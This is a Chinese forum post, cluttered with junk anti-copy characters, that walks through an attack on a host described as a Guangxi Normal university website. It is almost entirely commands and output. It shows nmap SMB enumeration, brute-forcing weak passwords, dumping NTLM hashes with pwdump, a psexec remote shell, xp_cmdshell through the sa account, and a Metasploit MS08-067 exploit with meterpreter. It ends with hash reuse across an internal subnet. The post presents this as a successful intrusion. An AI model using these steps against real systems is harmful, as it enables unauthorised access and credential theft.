广西师范网站http://202.103.242.241/( `) {. N9 ]* a# R" O% O
3 ^# M. p; b+ J$ s
root@bt:~# nmap -sS -sV 202.103.242.241% G, y- @3 S: W7 F" |/ y
- X$ ^& ^0 \+ D. b& z; w' rStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST2 o. c3 h( X) q: n( N. g; R( f
2 k& \, J% \9 [) w
Nmap scan report for bogon (202.103.242.241)" X1 s8 J/ u0 p+ l
_9 s0 @& P ]4 OHost is up (0.00048s latency).% R# d6 e6 h {- @8 M, t) {
" e) k, i y" W5 M* YNot shown: 993 closed ports
0 A0 G, N8 }/ u$ P
! P! g1 F [) q4 @$ s- _ ?PORT STATE SERVICE VERSION
8 x) E' ?# ~. D6 D7 p) N! a* D. t$ ~& @8 d/ L( l
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
% o2 K5 T7 T, ^/ ]6 I: o; }; V+ P, a7 i' D
139/tcp open netbios-ssn
9 J# [& f- E3 n1 Q, ?
8 U$ H# V9 q0 h445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds7 _. `5 G& }2 c. s5 s
. ~4 i7 ?* b# ~, E. y7 ^0 ?8 X
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
( E: d4 R7 n- c$ I$ [6 X- J) i" ?, \+ K* p9 x3 j7 n/ C8 d
1026/tcp open msrpc Microsoft Windows RPC9 \( V! {2 J$ ?. p0 O
- e5 K' X* a, G8 d+ Z4 G3372/tcp open msdtc?- ?' ?1 m. G. Y) ]* ^4 S; B
( H* \, x( Z! \
3389/tcp open ms-term-serv?2 X3 {0 R6 v/ ~8 k' k
E- y! j2 D' b6 t! T- x0 z U
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
$ D5 w- g; Y$ R( vSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r3 G# f, k7 c$ g0 m$ J
7 E* r; l8 ~% b: } @3 N, B9 f& z
SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions' h) Z3 i, w9 }! S
* V% a: N F! a0 m/ W8 I" t
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
3 O( F" l- B8 _- g$ g0 G) V* y! |& |; Q
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO7 F, e" B# x. v4 B$ @' h& e* b) Q4 x. b
3 w0 T$ [6 Y/ u# VSF:ptions,6,”hO\n\x000Z”);
) i6 M7 W8 f& r! y2 s; ]( Q. C
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
) S' B( B) M! X# x8 Z- |
. M* d! I X% `, A( [& J% A# s) {Service Info: OS: Windows* Y6 t1 W6 p* W5 Q
. U7 }* D4 E# iService detection performed. Please report any incorrect results at http://nmap.org/submit/ .9 x5 U; L& f4 q+ R0 s
4 s+ N% i9 u& D" {Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds
0 T1 U" j" M' j! n; e! F( Y. C) }3 ~9 H* w4 h9 ^
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本: t z+ s' K4 V; x9 N! Y
- N) G1 C4 U P6 F* \8 }4 w-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse4 D' h% x0 m; u6 H: g2 S
) A9 J/ ~1 ~2 E-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse6 C H8 o' ?) I Z& i7 b: b+ @! z
" J. z5 m" ~) R7 {5 ?) x# \
-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
8 ~5 z0 n3 V+ l2 o0 }* j" |: N1 X) K {% } c% R! d) X
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse& s' H5 J8 Z+ D; s4 w
' ]) B& ]$ Z0 [( U
-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse( I7 Z2 D/ I6 S
( O" Q0 \! L+ s; C9 r; ?, N- F
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse' E% D/ e1 u& F! k8 G i4 ]
1 J/ m1 N4 m) ^: Q
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse) i$ y! U& e% [1 w8 K- Z
8 o) V6 a% S8 b& f2 |-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
# h" @9 C0 m' Z4 t8 t6 i+ z5 r2 {8 f8 W2 B" m$ Z! B
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse
- E& R1 O6 h6 }( C7 g/ d) u: b* a
7 o" z. s3 F6 [! e5 w3 @) Y3 s-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse/ \# v K5 u; Q. _1 \
, S/ ?! r2 V6 o" _; w0 T& W5 r8 M& k
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
+ ^7 T: r; u5 C+ Z& O5 y; E( ?" a2 k( J1 R# i
-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse! F7 {$ Z M2 @
- \. `7 ]+ ]& }7 v0 Y/ i# M0 m-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse( F5 Z O5 h1 A7 i8 f0 H
1 H4 g$ o" k# \ }( b-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
/ j7 E$ y' r" m0 X; m
# z1 x* f" U; r# l-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
# a. ~6 [, m. v' {6 \% E+ V' N) R
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 9 Q0 n) a) J1 A. e8 V/ o
+ p9 R/ y% \- c# z+ Y1 E/ a
//此乃使用脚本扫描远程机器所存在的账户名
# E( p" R2 }) u
: Y. a9 R, f# V# f3 {' p6 `Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST) }$ P+ }, c; l
, z" K$ Y- Q9 b9 x; ]3 I& y, g/ |* oNmap scan report for bogon (202.103.242.241)
0 L! {: E: `& v# B I8 K& g& l, _- d% a* [! p5 f
Host is up (0.00038s latency).
8 f- U- D# W: S% J9 ~ K
; g: v/ r* E; w) C( ~Not shown: 993 closed ports
& d+ c h* P4 Z; A0 a* ~. W, M) a2 O6 D9 L. Y
PORT STATE SERVICE) s. \) X o& F' ?4 u- Q2 l
+ Y! C" w% j5 J. b7 v% A; p
135/tcp open msrpc
; O4 G6 W6 v3 c6 m! T, C7 b Q6 e" V/ a* {% X) x
139/tcp open netbios-ssn$ E" n9 z- F/ O3 E
9 u" G* y6 v1 v0 r" y445/tcp open microsoft-ds2 Z+ \8 M" f3 J- T5 d$ i
2 b8 c) [1 A4 k# N1 V6 R N3 n& A
1025/tcp open NFS-or-IIS
& N: `+ _' _; V+ ~: U4 _/ |" C* p' ~, H& U4 f: p
1026/tcp open LSA-or-nterm
( a# }' @( l- D9 \ P2 v
6 v X1 B& N! B5 Y3372/tcp open msdtc4 n- W9 B- y- h! J! o; W/ s
- A8 m7 a3 @- k+ ] Q. @* o
3389/tcp open ms-term-serv
6 `& \+ e: S. U. C/ z; Y' f& f' U
) { W0 F+ {. T, [- D8 EMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems): q: Z- k- D% Z x6 i q
1 G" O; j- m8 }) a. c& A, QHost script results:# R" X- {' ^8 ~" x
! i4 o/ }/ t- N' B| smb-enum-users:
* j+ w% p/ D, Y" x( @/ ]! O
' F8 Q1 ]% c8 q! l+ H$ }2 u|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
* L4 Z; Y1 Y- d; I/ e* C
+ V M6 ?* _7 o" k( d* G+ [Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds: Z' {- a2 _! S1 W, t( L
) B7 P% s, w+ n3 q2 u3 z! k* ]
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
^. E; _5 H- N2 n
- G. a1 l# I) K; f1 ^//查看共享
" j) K9 I; Y5 Z6 c$ E! Z p( G& ]3 o1 ^) T
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST0 T) R1 K6 g% T V# `
! j% B. N7 V) i9 p+ H
Nmap scan report for bogon (202.103.242.241)# X' G4 r" A- A) }
9 ^1 c9 a" C# Q) {( x* h
Host is up (0.00035s latency).+ y) m9 w8 @. u* R* T
/ n' N6 m; b% R( H. I: gNot shown: 993 closed ports
$ z# ?7 R- l( F( L7 ^& U$ ^
1 N% u8 J$ r/ q6 IPORT STATE SERVICE1 c0 J8 E6 F: v
2 g. z( o0 D# B
135/tcp open msrpc
( y% W$ S7 o% N( D2 b' G1 X0 J1 N1 T8 X& S1 Z8 ]0 o* m
139/tcp open netbios-ssn
1 f7 O4 b: O4 n7 g0 j0 p
; ]/ ?2 x0 c) b! H$ L' H445/tcp open microsoft-ds
% L) L% b9 q' r# ]+ D
! l- F$ [3 X$ i4 Z! q' v5 s1025/tcp open NFS-or-IIS
+ M$ D& m& ~9 B
' I5 z' F& @; ?; N) p a1026/tcp open LSA-or-nterm
( l# P% P, r h$ }. w0 K; K, L' @
/ C& M* o3 K$ a! L, y" L3372/tcp open msdtc$ x2 h1 I7 h/ B, R" z% [
/ @) Y0 A9 O; \6 w' v3389/tcp open ms-term-serv7 Y" x! _! p. b! @( n
" E% b) Y) v* H, x1 F, J
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems): W2 P% ]( a. I. ?8 |) p" C* h# i
, v$ ]1 I$ V9 Z" l. L# f
Host script results:
( H: [6 v* ~- k- \$ a$ [
6 |" ~9 L B, p/ s| smb-enum-shares:
8 o5 b' ~& q3 W2 h3 W
- ]% c9 {/ M- M) r| ADMIN$' Z$ }+ r3 e* e7 Z* Z
8 C) I) ?! [- a% }$ O7 d1 \0 X8 n| Anonymous access: <none>
! }. @5 s: \% a1 ?2 G
( J! I1 s1 j1 u0 C9 D5 y| C$
, D# W9 G8 b' f! s) d* `' n/ h `. J% }. m% R
| Anonymous access: <none>$ k9 u1 ?' s7 W0 n
# q( n& `2 r4 p# z2 p| IPC$4 M, d- ~# d! A- q$ j
0 Y4 [& T$ U& e6 m, Z% d- M|_ Anonymous access: READ
6 t( {% |3 B j2 x0 ~- R7 w, O* K% b8 l$ P. w
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
, e, N1 y1 T- h5 [; x, ?9 Z: n& K. E5 a$ t. [6 O$ B( c
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
" p& W' u" _" u& U W) {
6 O' q; @# r8 t" A3 I//获取用户密码
& d" I$ p) I" T7 Q/ k3 L* F4 F% _6 F+ c, @
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
# d$ G+ i3 Y5 s% D( O- \0 V9 q+ G+ \% U0 S8 ~1 h' Q: Y
Nmap scan report for bogon (202.103.242.2418)/ T0 j$ v: j2 u0 v
1 {& Z! h" f2 f1 }Host is up (0.00041s latency).% ^7 p" o) K( a
! i- |3 d+ ` N. j3 |4 }% y3 P
Not shown: 993 closed ports, h! l) e* b: \7 {+ F' g
& L4 v# b! R! h) V& F) p" u: WPORT STATE SERVICE
0 Z8 s4 r3 G$ A7 d" i, u
. B+ ~$ l2 P* m135/tcp open msrpc% I i( F5 X; P( e8 Q% e: z& A. a
' U; F0 s/ A9 L6 P) N- {5 c) z: y139/tcp open netbios-ssn
; h/ b! C. G6 Q) P5 F! C/ z2 A- H+ w" R
445/tcp open microsoft-ds
3 J$ q: _! h+ v( d1 E
$ d( k' e! l9 E0 x+ X8 U: ]1025/tcp open NFS-or-IIS
1 ]/ U- ]3 X6 H1 U+ U8 V* f
0 k# t4 W' g( f0 P0 t1026/tcp open LSA-or-nterm
. L; Z! J+ Y4 Z, {" `- N: N/ a
" d, M. w! q( t" n3372/tcp open msdtc( U) p* u3 w" |/ ]
, `2 t! H( g0 V& W5 ]% t
3389/tcp open ms-term-serv1 u" ~' D8 b4 @
. U* r5 V9 R& [* u9 \
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems), s3 }' O4 v' X& h. d# W1 N. G8 {
) `" r( ?9 a6 q
Host script results:
8 W4 x' Q8 |; I. C9 @: j3 e( E' e6 I8 _% _+ S
| smb-brute:/ g E. S( d& e, Y- N1 T4 `. ]1 O$ S
" g8 \7 \; @# f3 w' a/ `3 f6 q
administrator:<blank> => Login was successful
x$ M) Z Y$ N* [ R- @3 _2 E6 `( n
|_ test:123456 => Login was successful
1 \ n4 u5 }, @0 O# v1 [
Z j5 U6 J: q' MNmap done: 1 IP address (1 host up) scanned in 28.22 seconds( ~& \8 ?5 I$ N% [2 o% {
: d3 W Q. L+ o B$ B C& q
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
7 O6 b8 h. q. q+ i* B3 I
1 M* I& s/ Q! t& K% ?2 O* Groot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data H0 G; M9 ~7 M$ k" M9 p, d
% p o8 {' N) ]& v& j9 r
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
- U9 Z0 N' H- q. r7 ^8 X+ H; h, t+ M- h3 g" ^
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139) @2 t' ?7 w; m2 ~1 _( l* {
1 s: \: Q4 _/ G* z- n
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST* N+ q* t% f( z4 A
- o& s; u5 p p! l" L& R- S% n# K
Nmap scan report for bogon (202.103.242.241)
W5 @! P( d, _ c/ a& |3 e+ c3 G" F( D0 P* _8 ]
Host is up (0.0012s latency).5 H9 ?' l) M: m8 \: i; j
; k' @) _6 {& ?/ d/ |; \PORT STATE SERVICE
- I5 d/ N Q( U5 \) j( B9 m9 g! s
2 w% |( J% q# a$ A& |; T5 O; q135/tcp open msrpc7 A7 |0 u: A4 w2 @
& }' C9 B/ k" _5 V9 c. s
139/tcp open netbios-ssn
! T' b. \! S0 H' B4 f0 {$ }4 S2 X5 B! {# D7 Z6 q
445/tcp open microsoft-ds
: W, p' `! g+ c7 c0 d% o& _+ T5 n2 z& m: R" X. M
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)" W4 E& Y& V2 K+ [4 o, A
7 q! T7 |1 J5 T3 b
Host script results:* o/ o; S4 i; o) X9 @5 q: A
2 V! h# y/ U; d1 D) v/ O( j4 s| smb-pwdump:. k+ l7 U- S+ q1 d* @, K% |
: d, t, O2 `! k/ W. s7 d) O+ I0 f
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************5 i0 w+ w1 f4 M6 W/ w2 X2 d4 a2 D
4 e+ K. s6 S* j| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
1 @7 _( H/ N t# \( X. q A9 d5 C5 E. b9 x6 f# }
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
: g: A+ H4 a& T+ \0 [8 m& s( |5 f. n7 h8 L
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D25 F, Y3 A0 j* p& D5 |
0 C/ o6 O8 g2 H/ Z/ Y5 ^" uNmap done: 1 IP address (1 host up) scanned in 1.85 seconds" G" |8 p* F) u( w8 {
4 V. R' a; M* e C
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
4 q3 M/ t, ~7 Z! `5 r( Z! f5 M5 \9 N# T) X7 {% i
-p 123456 -e cmd.exe" ^" b) T3 i$ Z9 A' c x: @( N: E
. w( C3 E' B9 x& L5 m; s
PsExec v1.55 – Execute processes remotely
& p% x6 f# X# k) ?9 C( x! O P7 v; c8 S, u9 u% J
Copyright (C) 2001-2004 Mark Russinovich
6 r, u9 F: m% X4 R6 F p) I' q4 x/ H0 q( N3 r, d
Sysinternals – www.sysinternals.com
7 e# Q/ k& |+ M( A7 ^
X- {6 r+ V; P4 ~! a7 i7 \Microsoft Windows 2000 [Version 5.00.2195]# ]+ ]) m: |' x5 [+ i1 O1 a9 ?
3 G- f" {; [7 U! Z; ~7 D(C) 版权所有 1985-2000 Microsoft Corp./ L9 C* F% T. \: A
4 t$ w" a1 ^- bC:\WINNT\system32>ipconfig
0 q; j1 m9 }3 Y; Q' s+ |8 k+ c
& {7 v: E* \- @. y/ o; s, z5 sWindows 2000 IP Configuration
2 S! U- }: X( {1 V, b! X
; T) Z$ ]; c1 eEthernet adapter 本地连接:
- L# e- J5 V" o& p$ w
( E6 V8 P4 Y3 VConnection-specific DNS Suffix . :
5 W* A" T1 w3 Z1 s" W
; ]' j& `- R; b ?- }, N' P/ DIP Address. . . . . . . . . . . . : 202.103.242.241
- @7 o+ x9 Y- }& i# {, t1 D' }7 U: f' _' V
Subnet Mask . . . . . . . . . . . : 255.255.255.0
# x) y1 S7 n& E" @" L
}' u: `- G% p: ]' K4 D$ XDefault Gateway . . . . . . . . . : 202.103.1.14 ~% Y3 b) }; j2 \
' @4 s* v5 O2 }* ?( [ R
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令6 ~, M: o' d* U
0 ]' [ ?% s0 W* n. e4 nroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
1 E0 U! S! a/ r+ P/ w2 K2 M) R% b$ [6 H) N. O# K
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST) I+ ^$ C- m$ j' Z c# e
, H2 d7 \8 }: A7 N, ]% e% {
Nmap scan report for bogon (202.103.242.241)4 ^2 H# _2 f, A- {" f$ p! V
& H8 g' x$ e* M1 H' I+ iHost is up (0.00046s latency).
9 S3 q% d6 y9 u' s, t; V+ p* `- o
1 W6 \) I. \5 |6 x3 C8 HNot shown: 993 closed ports1 e4 P- O* d" Y$ r0 C
" U8 G0 p! `) X. G/ f( @% ?PORT STATE SERVICE* g' x1 P, Q6 r; h
; |6 b2 J! q7 H3 m135/tcp open msrpc
. o+ x/ |, R/ P3 F) Q7 @3 E$ o6 u' a$ H8 S) g5 r, b
139/tcp open netbios-ssn
9 p; d) J, Q$ b A3 O
, G, ]+ y- U* j445/tcp open microsoft-ds
7 h6 A) u& c Z: a8 ^
6 O7 }+ l9 B' ^/ b7 W1025/tcp open NFS-or-IIS
) j) g, H; h1 f, c- v9 @" R
4 P* z4 r" |1 s0 P5 R& q- K/ N1026/tcp open LSA-or-nterm
1 h1 F/ D2 s/ [7 D' F7 _
4 }" j/ A: F; h* A( K3372/tcp open msdtc
3 p' z. _- o# c* }. k' {& F' _: M, C" Y* c0 \% g
3389/tcp open ms-term-serv
9 \" Q6 m- X+ x4 A8 k, l
% }7 m9 N8 [! P8 F) {9 X2 sMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)$ I6 N' E- u4 u9 V( a' }
; A- {' D) ]; l; |: E5 ^- C
Host script results:
' m+ U6 P9 E7 l; \0 H" H& O& S+ v, ?
/ c9 H1 s4 e. _; x7 r| smb-check-vulns:* W# L% l A5 n2 v4 p3 H8 n7 F
5 o; V3 y: L9 T7 Y* \4 z1 ?
|_ MS08-067: VULNERABLE
3 A9 g0 p; f4 c) P5 s' D" J1 Y! ]. Q0 W( p' u2 j7 g7 m
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds" _6 R( O) k1 m: S' \: N& P6 p$ c
" q W6 T: y8 Y" J F, O6 ]' w
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
. e; Y6 K$ U7 f& Y! m" B; q
# g* q# q7 s# S' C5 ~: xmsf > search ms08
) q# N5 I# A" X: G! C3 y& ^: S' g& ^, ^
msf > use exploit/windows/smb/ms08_067_netapi
# S2 }2 \+ u/ G' v; G& G+ j" g- ]8 e" B
msf exploit(ms08_067_netapi) > show options4 Q2 ~& ~ Z# n3 x g
/ b; p, W( `/ }/ G/ W6 |, Z* ]! Pmsf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
h( n. }* L5 ?* s* M5 @& o4 V# @3 l- ^
msf exploit(ms08_067_netapi) > show payloads
( d2 x4 t' C3 n% [
* y3 ?# e6 s4 C0 @0 Lmsf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
$ G, L& V& P V' F. v6 n
" h+ w* E' L% }/ K) w8 c, H4 `$ z' [ ]msf exploit(ms08_067_netapi) > exploit
: [4 F' G m" x, x3 |% \( [" K: [ D+ c ?
meterpreter >2 N g2 k4 r2 O( |
( |1 z N: n- l' X; C3 a4 r
Background session 2? [y/N] (ctrl+z)
6 k% Y1 ^- n ]4 [. B1 @5 p
; M6 C0 b+ Y" h4 }" xmsf exploit(ms08_067_netapi) > sessions -l& q4 V! M* p, r
6 K; e" L" l2 [; aroot@bt:/usr/local/share/nmap/scripts# vim usernames.txt
. y* ^8 ^; u8 l- N7 o( K0 C( M, I# c- H
test
# ]* s5 p: i( h0 E/ N9 o! Q* X E, R0 {2 P) V; V
administrator, G. ]' O% `5 ^6 b4 T; D
* v6 S9 j! `, C* W. b5 a4 W+ c0 vroot@bt:/usr/local/share/nmap/scripts# vim password.txt
2 W" }# @- F0 c/ n) v8 P% S1 ^
- _9 C9 Z4 J9 s+ R5 j44EFCE164AB921CAAAD3B435B51404EE
0 d' o1 Q; W+ W4 ~/ x; H. b
, b8 w! o4 |) |2 g0 jroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 * ^/ k. r' ?& `6 \( \
" L% G/ \* }8 N6 n
//利用用户名跟获取的hash尝试对整段内网进行登录. e8 b2 {9 v' t6 l0 v
: l$ Q0 g5 T2 L: v, `Nmap scan report for 192.168.1.105
" m1 j5 |" p3 @! ^5 ~- Y; j, {" u+ D1 K# ?& N9 j$ a
Host is up (0.00088s latency).
* }& I: e2 M+ Y: b' n# t; Q
g% W; {' V# J- oNot shown: 993 closed ports* c, S! O' d' `# |# I$ U
) E6 E& ]1 w2 {6 l
PORT STATE SERVICE# b! h. w. k I7 i. S% _8 a/ I
, s, V9 U& L: k1 ^
135/tcp open msrpc) D, o) z+ W# u$ a) I/ J. z
6 {1 j; s& Y: J9 Z1 D8 Y139/tcp open netbios-ssn O% Z( }- k* \' [1 U
4 D( J1 \) P5 {$ b9 Z
445/tcp open microsoft-ds, g* Q& d, }" B1 U& Q7 F1 @
2 b* I9 U2 t* t8 u0 S8 N
1025/tcp open NFS-or-IIS& Q: |; H$ f6 G
3 A) }9 o4 n4 C$ p; F% e
1026/tcp open LSA-or-nterm
) x7 ]' |) Z" A5 ]2 h8 G8 ~) t% Z' p' I5 h
3372/tcp open msdtc' @6 \5 @' I% l! ]
+ m/ g$ a9 p0 x7 w! q( z! r/ N3389/tcp open ms-term-serv; n. e4 B5 G6 l1 X/ Q" a+ B2 X
6 O7 Q. h+ b2 g0 w5 DMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
$ i. E7 }0 a5 O4 L! n# Z* {1 U6 o+ k/ W" R/ g
Host script results:
: ]( s/ c {* t4 D- l; N
3 W v- Y" k8 O% m+ \3 d || smb-brute:9 i$ |9 c; D: _. ?
& e' k: A: I7 p; \( e|_ administrator:<blank> => Login was successful
# f1 [( P' t/ s0 X8 i& ~& w
$ Y! ~' K' ?" v& g3 R" I攻击成功，一个简单的msf+nmap攻击~~·% j* j5 S! [4 I$ G
0 x$ ?4 |$ I$ }* d |
发表于 2012-12-4 12:46:42
收藏
支持
反对